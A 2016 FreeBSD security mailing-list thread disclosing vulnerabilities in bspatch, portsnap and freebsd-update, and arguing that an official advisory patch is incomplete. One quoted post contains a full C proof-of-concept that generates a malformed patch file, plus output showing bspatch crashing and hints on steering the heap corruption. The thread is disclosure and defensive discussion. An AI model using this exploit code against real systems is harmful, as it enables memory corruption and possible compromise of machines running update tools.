Julian Elischer
2016-Jul-29 09:00 UTC
freebsd-update and portsnap users still at risk of compromise
On 29/07/2016 11:49 AM, Martin Schroeder wrote:> On July 18, John Leyden, security editor at The Register, tweeted a > link > to a libarchive ticket that had been sitting without a response for > almost a week. >not sure if you've been contacted privately, but I believe the answer is "we're working on it"> tweet: https://twitter.com/jleyden/status/755016810865582081 > libarchive ticket: https://github.com/libarchive/libarchive/issues/743 > > The ticket creator quoted an AV researcher who was likely posting to > one > of the many early-alert vendor lists in the age of infosec > balkanization > (IOW, a "courtesy heads-up" to FreeBSD users forking them money): > > [QUOTE] > Our AV researchers have analyzed the following link that was cloud- > submitted as suspect: > > https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f > > The document is from an unknown author and describes "non-cryptanalytic > attacks against FreeBSD update components." The affected components are > the portsnap and freebsd-update tools, both directly and indirectly. > > From what we can tell, the text file is part of a larger stash of > documents, all with the same attack-defense style. We have other > documents, dated 2014 and 2015, detailing attacks against the update > systems of multiple Linux distributions and the corresponding defenses > against "the adversary." > > We believe this to be the work of an MITM-capable advanced threat > actor. > > Full details of our findings will be released in the coming weeks. This > is a courtesy heads-up to FreeBSD users. > [/QUOTE] > > Another poster confirmed some of the attacks: > > [QUOTE] > Here via John Leyden's tweet. > > I don't have the time to test the portsnap attacks, but I can confirm > that the libarchive/tar and bspatch attacks work on our 10.x machines, > and I'm happy to test any libarchive/tar fixes. > > Judging by the painstaking amount of work put into the bspatch exploit > especially, I think it's highly unlikely that the creator lacks the > means to deploy it via mitm. Otherwise, I've never seen anything like > this in terms of apparent work/reward. It would be comical if it > weren't > so horrifying. Think of all those locked-down fbsd machines that > have no > external-facing daemons/services and that perform only updates. Our > telecommunications floor alone has several dozen. > > Someone needs to alert the fbsd mailing lists (-current, -security?) > pronto. I'd rather not mail them myself from work. And we should also > get more details on the linux distributions. > [/QUOTE] > > I've been analyzing the document extensively since then. The targets > are > as follows: > > [1] portsnap via portsnap vulnerabilities > [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities > [3] portsnap via bspatch vulnerabilities > [4] freebsd-update via bspatch vulnerabilities > > Nothing has appeared in any official FreeBSD source about [1]. The > libarchive developers have finally confirmed [2] and are presumably > working on fixes. > > A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users > should be aware that running freebsd-update exposes their machines to > the very vulnerability it's correcting (a not insignificant fact that > was omitted from the advisory). Here's why: > > [QUOTE] > * The bspatch(1) utility is executed before SHA256 verification in > both > * freebsd-update(8) and portsnap(8). > [/QUOTE] > > Even worse, the patch in the FreeBSD advisory is insufficient to > prevent > heap corruption. I compared the patch in the FreeBSD advisory with the > "defense" patch in the document, and the former contains only a subset > of the checks in the latter. The document patch is in some ways > cautious > to an insanely paranoid degree, mistrusting the error-checking > stability > of system libraries and defending against compiler quirks that probably > won't exist in compiler optimization intelligence for many years, if > ever, though as a developer of clang-based static analyzers, I did take > an interest in one of the more usual integer-overflow culprits: > > [ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH] > /* Sanity-check */ > + if ((ctrl[0] < 0) || (ctrl[1] < 0)) > + errx(1,"Corrupt patch\n"); > + > + /* Sanity-check */ > if(newpos+ctrl[0]>newsize) > errx(1,"Corrupt patch\n"); > [/ADVISORY PATCH] > > [DOCUMENT PATCH - THE CORRESPONDING PORTION] > /* Sanity-check */ > - if(newpos+ctrl[0]>newsize) > - errx(1,"Corrupt patch\n"); > + if((ctrl[0]<0) || (ctrl[0]>INT_MAX) || > + (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize)) > + errx(1,"Corrupt patch\n"); > > - /* Read diff string */ > + /* Read diff string - 4th arg converted to int */ > lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); > if ((lenread < ctrl[0]) || > ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) > errx(1, "Corrupt patch\n"); > [/DOCUMENT PATCH] > > The ctrl[1] checks in the document patch are similar. > > The basic idea is that for > > if(newpos+ctrl[0]>newsize) > > and > > if(newpos+ctrl[1]>newsize) > > it's not enough to block a negative ctrl[]. That will stop the exploit > given, but it won't stop additional exploits. The document patch > defends > against additional exploits, namely those based on newpos+ctrl[] > overflowing via a large ctrl[] to bypass the check. The canonical large > value I use below is 0x7fffffff7fffffff, which is both off_t > nonnegative > and int nonnegative (when truncated in BZ2_bzRead). The document patch > defends against this truncation trickery as well. > > To demonstrate the problem, I wrote the code below. Examine it on a > FreeBSD x64 machine under gdb, valgrind, or whatever, even with the > advisory patch applied. > > [CODE] > #include <stdlib.h> > #include <unistd.h> > #include <fcntl.h> > #include <bzlib.h> > #include <sys/types.h> > > int main(int argc, char **argv) > { > unsigned char oct; > char buff[100000]; > char c[72]> "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x02\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\xff\xff\xff\x7f\xff\xff\xff\x7f" > "\x00\x00\x00\x00\x00\x00\x00\x00"; > char *e=calloc(1,0x8fffffff); > if(!e) return 1; > unsigned l,tmp; > int comp=atoi(argv[1]); > int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666); > write(fd,"BSDIFF40",8); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0); > tmp=l; > for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;} > write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8); > write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8); > write(fd,buff,l); > l=sizeof(buff); > BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0); > write(fd,buff,l); > close(fd); > free(e); > return 0; > } > [/CODE] > > [ms at dev4 ~/patch]$ cc -o bp bp.c -lbz2 > [ms at dev4 ~/patch]$ echo 123 > old > [ms at dev4 ~/patch]$ ./bp 1 patch > [ms at dev4 ~/patch]$ bspatch old new patch > Segmentation fault (core dumped) > [ms at dev4 ~/patch]$ ./bp 9 patch > [ms at dev4 ~/patch]$ bspatch old new patch > bspatch: Corrupt patch > > Counterintuitively, the segfault case is (currently) less dangerous > than > the error case. This is because the segfault arises from harmlessly > trashing the heap until an unmapped page is hit (though you never know > what the future - or creativity - brings). But taking a cue from a > comment in the exploit, I bumped up the compression to level 9, which > positioned a lot of libbz2 internal data after the buffer. This data > gets overwritten and could very likely be finessed to dangerous effect. > The error message is simply because after pulling out my hair to figure > out bspatch, I had no desire to follow the author down the rabbit hole > of bzip2/jemalloc/libc internals, which shall remain for me black > magic. > > Martin Schroeder > > ------------------------------------------------- > > ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out > of the NSA's hands! > $24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! > No bandwidth quotas! > Commercial and Bulk Mail Options! > _______________________________________________ > freebsd-security at freebsd.org mailing list > https://lists.freebsd.org/mailman/listinfo/freebsd-security > To unsubscribe, send any mail to > "freebsd-security-unsubscribe at freebsd.org" >
Martin Schroeder
2016-Jul-30 05:00 UTC
freebsd-update and portsnap users still at risk of compromise
On 2016-07-29 09:00, Julian Elischer wrote:> > not sure if you've been contacted privately, but I believe the answer > is > "we're working on it"My concerns are as follows: 1. This is already out there, and FreeBSD users haven't been alerted that they should avoid running freebsd-update/portsnap until the problems are fixed. 2. There was no mention in the bspatch advisory that running freebsd-update to "fix" bspatch would expose systems to MITM attackers who are apparently already in operation. 3. Strangely, the "fix" in the advisory is incomplete and still permits heap corruption, even though a more complete fix is available. That's what prompted my post. If FreeBSD learned of the problem from the same source document we all did, which seems likely given the coincidental timing of an advisory for a little-known utility a week or two after that source document appeared, then surely FreeBSD had the complete fix available. ------------------------------------------------- ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out of the NSA's hands! $24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! No bandwidth quotas! Commercial and Bulk Mail Options!
Roger Marquis
2016-Aug-09 20:07 UTC
freebsd-update and portsnap users still at risk of compromise
Timely update via Hackernews:
<hardenedbsd.org/article/shawn-webb/2016-08-07/vulnerability-update-libarchive>
Note in particular:
"FreeBSD is still vulnerable to the portsnap, freebsd-update, bspatch,
and libarchive vulnerabilities."
Not sure why the portsec team has not commented or published an advisory
(possibly because the freebsd list spam filters are so bad that
subscriptions are being blocked) but from where I sit it seems that
those exposed should consider:
cd /usr/ports
svn{lite} co https://svn.FreeBSD.org/ports/head /usr/ports
make index
rm -rf /usr/sbin/portsnap /var/db/portsnap/*
I'd also be interested in hearing from hardenedbsd users regarding
the pros and cons of cutting over to that distribution.
Roger
> On 2016-07-29 09:00, Julian Elischer wrote:
>>
>> not sure if you've been contacted privately, but I believe the
answer is
>> "we're working on it"
>
> My concerns are as follows:
>
> 1. This is already out there, and FreeBSD users haven't been alerted
that
> they should avoid running freebsd-update/portsnap until the problems are
> fixed.
>
> 2. There was no mention in the bspatch advisory that running
> freebsd-update to "fix" bspatch would expose systems to MITM
attackers who
> are apparently already in operation.
>
> 3. Strangely, the "fix" in the advisory is incomplete and still
permits
> heap corruption, even though a more complete fix is available. That's
> what prompted my post. If FreeBSD learned of the problem from the same
> source document we all did, which seems likely given the coincidental
> timing of an advisory for a little-known utility a week or two after that
> source document appeared, then surely FreeBSD had the complete fix
> available.
>